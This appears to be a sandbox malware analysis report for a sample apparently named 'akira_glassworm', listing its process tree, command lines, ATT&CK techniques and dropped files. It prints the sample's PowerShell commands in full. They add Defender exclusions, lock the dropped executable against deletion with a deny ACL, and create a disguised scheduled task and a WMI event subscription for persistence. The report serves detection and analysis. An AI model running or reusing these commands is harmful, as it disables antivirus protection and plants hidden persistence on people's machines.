C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" --valhmx60⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe'"61⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Edge'"61⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" --uktqto 22461⤵
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Edge'"59⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
-
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe'"51⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Edge'"51⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Edge'"49⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Edge'"47⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe'"45⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Edge'"45⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe'"43⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Edge'"43⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Edge'"41⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Edge'"39⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Edge'"37⤵
-
-
-
-
-
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Edge'"29⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Edge'"27⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Edge'"23⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Edge'"21⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe'"19⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Edge'"19⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Edge'"15⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Edge'"11⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Edge'"5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$acl = Get-Acl 'C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe'; $everyone = New-Object System.Security.Principal.SecurityIdentifier('S-1-1-0'); $rule = New-Object System.Security.AccessControl.FileSystemAccessRule($everyone,'Delete,DeleteSubdirectoriesAndFiles,ChangePermissions,TakeOwnership','Deny'); $acl.AddAccessRule($rule); Set-Acl 'C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe' $acl"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Seconds 2; Remove-Item -Force 'C:\Users\Admin\AppData\Local\Temp\2026-05-18_ba315e3d9c837fce89cc7ed40b3dba0a_akira_glassworm.exe' -ErrorAction SilentlyContinue"2⤵
- Command and Scripting Interpreter: PowerShell
- Deletes itself
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"1⤵
- Looks for VirtualBox drivers on disk
- Looks for VMWare drivers on disk
- Executes dropped EXE
- Registers new Windows logon scripts automatically executed at logon.
- Adds Run key to start application
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\getmac.exe"getmac" /FO CSV /NH2⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "Microsoft\Windows\Application Experience\PcaPatchDbTask_197a" /TR "\"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe\" worker" /SC ONLOGON /RL HIGHEST /F2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$f=[wmiclass]\"root\subscription:__EventFilter\";$fi=$f.CreateInstance();$fi.Name='App Readiness_Filter';$fi.EventNamespace='root\cimv2';$fi.QueryLanguage='WQL';$fi.Query='SELECT * FROM __InstanceModificationEvent WITHIN 300 WHERE TargetInstance ISA \"Win32_PerfFormattedData_PerfOS_System\"';$fi.Put();$c=[wmiclass]\"root\subscription:CommandLineEventConsumer\";$ci=$c.CreateInstance();$ci.Name='App Readiness_Consumer';$ci.CommandLineTemplate='\"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe\" worker';$ci.Put();$b=[wmiclass]\"root\subscription:__FilterToConsumerBinding\";$bi=$b.CreateInstance();$bi.Filter=$fi.__PATH;$bi.Consumer=$ci.__PATH;$bi.Put()"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$acl = Get-Acl 'C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe'; $everyone = New-Object System.Security.Principal.SecurityIdentifier('S-1-1-0'); $rule = New-Object System.Security.AccessControl.FileSystemAccessRule($everyone,'Delete,DeleteSubdirectoriesAndFiles,ChangePermissions,TakeOwnership','Deny'); $acl.AddAccessRule($rule); Set-Acl 'C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe' $acl"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$r=Get-WmiObject -Namespace root\subscription -Class __EventFilter -Filter \"Name='App Readiness_Filter'\" -ErrorAction SilentlyContinue;if($r){exit 0}else{exit 1}"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Query /TN "Microsoft\Windows\Application Experience\PcaPatchDbTask_197a"2⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" worker1⤵
- Looks for VirtualBox drivers on disk
- Looks for VMWare drivers on disk
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\getmac.exe"getmac" /FO CSV /NH2⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "Microsoft\Windows\Application Experience\PcaPatchDbTask_197a" /TR "\"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe\" worker" /SC ONLOGON /RL HIGHEST /F2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$f=[wmiclass]\"root\subscription:__EventFilter\";$fi=$f.CreateInstance();$fi.Name='App Readiness_Filter';$fi.EventNamespace='root\cimv2';$fi.QueryLanguage='WQL';$fi.Query='SELECT * FROM __InstanceModificationEvent WITHIN 300 WHERE TargetInstance ISA \"Win32_PerfFormattedData_PerfOS_System\"';$fi.Put();$c=[wmiclass]\"root\subscription:CommandLineEventConsumer\";$ci=$c.CreateInstance();$ci.Name='App Readiness_Consumer';$ci.CommandLineTemplate='\"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe\" worker';$ci.Put();$b=[wmiclass]\"root\subscription:__FilterToConsumerBinding\";$bi=$b.CreateInstance();$bi.Filter=$fi.__PATH;$bi.Consumer=$ci.__PATH;$bi.Put()"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$acl = Get-Acl 'C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe'; $everyone = New-Object System.Security.Principal.SecurityIdentifier('S-1-1-0'); $rule = New-Object System.Security.AccessControl.FileSystemAccessRule($everyone,'Delete,DeleteSubdirectoriesAndFiles,ChangePermissions,TakeOwnership','Deny'); $acl.AddAccessRule($rule); Set-Acl 'C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe' $acl"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Boot or Logon Initialization Scripts
1Logon Script (Windows)
1Event Triggered Execution
1Component Object Model Hijacking
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Boot or Logon Initialization Scripts
1Logon Script (Windows)
1Event Triggered Execution
1Component Object Model Hijacking
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
WmiPrvSE70e.exe
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
__PSScriptPolicyTest_bgy4tlsz.hen.ps1
client.log
client.log
client.log
client.log
client.log
client.log
client.log
client.log
client.log
client.log
client.log
client.log
client.log
client.log
client.log
client.log
client.log
client.log
client.log
client.log
client.log
client.log
client.log
client.log
client.log
client.log
client.log
client.log
App Readiness.lnk
memory/236-1102-0x00007FFF928A0000-0x00007FFF92AA9000-memory.dmp
memory/436-1091-0x00007FF722B80000-0x00007FF722D17000-memory.dmp
memory/720-870-0x00007FF722B80000-0x00007FF722D17000-memory.dmp
memory/720-720-0x00007FFF928A0000-0x00007FFF92AA9000-memory.dmp
memory/784-500-0x00007FFF928A0000-0x00007FFF92AA9000-memory.dmp
memory/784-1033-0x00007FF722B80000-0x00007FF722D17000-memory.dmp
memory/784-647-0x00007FF722B80000-0x00007FF722D17000-memory.dmp
memory/976-1019-0x00007FF722B80000-0x00007FF722D17000-memory.dmp
memory/1072-1020-0x00007FFF928A0000-0x00007FFF92AA9000-memory.dmp
memory/1072-1198-0x00007FF722B80000-0x00007FF722D17000-memory.dmp
memory/1324-1702-0x0000018AE9D10000-0x0000018AE9DC3000-memory.dmp
memory/1704-825-0x000001DD6A120000-0x000001DD6A1D3000-memory.dmp
memory/1904-578-0x00007FF722B80000-0x00007FF722D17000-memory.dmp
memory/1904-341-0x00007FF722B80000-0x00007FF722D17000-memory.dmp
memory/1904-1113-0x00007FF722B80000-0x00007FF722D17000-memory.dmp
memory/1904-97-0x00007FFF928A0000-0x00007FFF92AA9000-memory.dmp
memory/2232-1116-0x00007FF722B80000-0x00007FF722D17000-memory.dmp
memory/2232-672-0x00007FF722B80000-0x00007FF722D17000-memory.dmp
memory/2232-553-0x00007FFF928A0000-0x00007FFF92AA9000-memory.dmp
memory/2348-797-0x00007FF722B80000-0x00007FF722D17000-memory.dmp
memory/2348-312-0x00007FFF928A0000-0x00007FFF92AA9000-memory.dmp
memory/2348-476-0x00007FF722B80000-0x00007FF722D17000-memory.dmp
memory/2416-360-0x00007FF722B80000-0x00007FF722D17000-memory.dmp
memory/2420-30-0x00007FFF928A0000-0x00007FFF92AA9000-memory.dmp
memory/2420-21-0x00007FFF928A0000-0x00007FFF92AA9000-memory.dmp
memory/2420-22-0x0000017ACDE60000-0x0000017ACDE82000-memory.dmp
memory/2420-23-0x00007FFF928A0000-0x00007FFF92AA9000-memory.dmp
memory/2420-35-0x00007FFF928A0000-0x00007FFF92AA9000-memory.dmp
memory/2532-607-0x00007FFF928A0000-0x00007FFF92AA9000-memory.dmp
memory/2532-1195-0x00007FF722B80000-0x00007FF722D17000-memory.dmp
memory/2532-730-0x00007FF722B80000-0x00007FF722D17000-memory.dmp
memory/2564-789-0x00007FFF928A0000-0x00007FFF92AA9000-memory.dmp
memory/2564-939-0x00007FF722B80000-0x00007FF722D17000-memory.dmp
memory/2808-596-0x00007FF722B80000-0x00007FF722D17000-memory.dmp
memory/2876-1086-0x00007FF722B80000-0x00007FF722D17000-memory.dmp
memory/2876-540-0x00007FF722B80000-0x00007FF722D17000-memory.dmp
memory/2876-296-0x00007FF722B80000-0x00007FF722D17000-memory.dmp
memory/2876-69-0x00007FFF928A0000-0x00007FFF92AA9000-memory.dmp
memory/3164-239-0x00007FF722B80000-0x00007FF722D17000-memory.dmp
memory/3176-433-0x00007FFF928A0000-0x00007FFF92AA9000-memory.dmp
memory/3176-580-0x00007FF722B80000-0x00007FF722D17000-memory.dmp
memory/3176-936-0x00007FF722B80000-0x00007FF722D17000-memory.dmp
memory/3316-1247-0x00007FFF928A0000-0x00007FFF92AA9000-memory.dmp
memory/3328-1036-0x00007FF722B80000-0x00007FF722D17000-memory.dmp
memory/3328-859-0x00007FFF928A0000-0x00007FFF92AA9000-memory.dmp
memory/3340-542-0x00007FF722B80000-0x00007FF722D17000-memory.dmp
memory/3380-661-0x00007FF722B80000-0x00007FF722D17000-memory.dmp
memory/3424-488-0x00007FF722B80000-0x00007FF722D17000-memory.dmp
memory/3836-1162-0x00007FF722B80000-0x00007FF722D17000-memory.dmp
memory/4016-300-0x00007FF722B80000-0x00007FF722D17000-memory.dmp
memory/4104-421-0x00007FF722B80000-0x00007FF722D17000-memory.dmp
memory/4316-1173-0x00007FFF928A0000-0x00007FFF92AA9000-memory.dmp
memory/4424-148-0x000001C64F380000-0x000001C64F39C000-memory.dmp
memory/4424-163-0x000001C64F900000-0x000001C64F91C000-memory.dmp
memory/4424-162-0x000001C64F460000-0x000001C64F46A000-memory.dmp
memory/4424-149-0x000001C64F3A0000-0x000001C64F453000-memory.dmp
memory/4488-170-0x0000023A47B10000-0x0000023A47B1A000-memory.dmp
memory/4488-177-0x0000023A47B70000-0x0000023A47B8A000-memory.dmp
memory/4488-188-0x0000023A47B50000-0x0000023A47B56000-memory.dmp
memory/4564-800-0x00007FF722B80000-0x00007FF722D17000-memory.dmp
memory/4564-662-0x00007FFF928A0000-0x00007FFF92AA9000-memory.dmp
memory/4568-927-0x00007FFF928A0000-0x00007FFF92AA9000-memory.dmp
memory/4568-1119-0x00007FF722B80000-0x00007FF722D17000-memory.dmp
memory/4736-1608-0x0000018F51B90000-0x0000018F51C43000-memory.dmp
memory/5452-926-0x00007FF722B80000-0x00007FF722D17000-memory.dmp
memory/5456-778-0x00007FF722B80000-0x00007FF722D17000-memory.dmp
memory/5476-1818-0x00000229DED80000-0x00000229DEE33000-memory.dmp
memory/5532-233-0x00007FF722B80000-0x00007FF722D17000-memory.dmp
memory/5532-77-0x00007FFF928A0000-0x00007FFF92AA9000-memory.dmp
memory/5684-1236-0x00007FF722B80000-0x00007FF722D17000-memory.dmp
memory/5724-20-0x00007FFF92944000-0x00007FFF92945000-memory.dmp
memory/5724-169-0x00007FF6C2E40000-0x00007FF6C2FD7000-memory.dmp
memory/5724-14-0x00007FFF928A0000-0x00007FFF92AA9000-memory.dmp
memory/5892-372-0x00007FFF928A0000-0x00007FFF92AA9000-memory.dmp
memory/5892-526-0x00007FF722B80000-0x00007FF722D17000-memory.dmp
memory/5892-867-0x00007FF722B80000-0x00007FF722D17000-memory.dmp
memory/5924-709-0x00007FF722B80000-0x00007FF722D17000-memory.dmp
memory/5952-189-0x000001F2A06C0000-0x000001F2A06CA000-memory.dmp
memory/5952-187-0x000001F2A0680000-0x000001F2A0688000-memory.dmp
memory/5964-1529-0x00000274D70B0000-0x00000274D7163000-memory.dmp
memory/6004-286-0x000001DE83B90000-0x000001DE83C43000-memory.dmp
memory/6072-2083-0x000001EEE3AC0000-0x000001EEE3B73000-memory.dmp
memory/6084-401-0x00007FF722B80000-0x00007FF722D17000-memory.dmp
memory/6084-727-0x00007FF722B80000-0x00007FF722D17000-memory.dmp
memory/6084-251-0x00007FFF928A0000-0x00007FFF92AA9000-memory.dmp
memory/6132-848-0x00007FF722B80000-0x00007FF722D17000-memory.dmp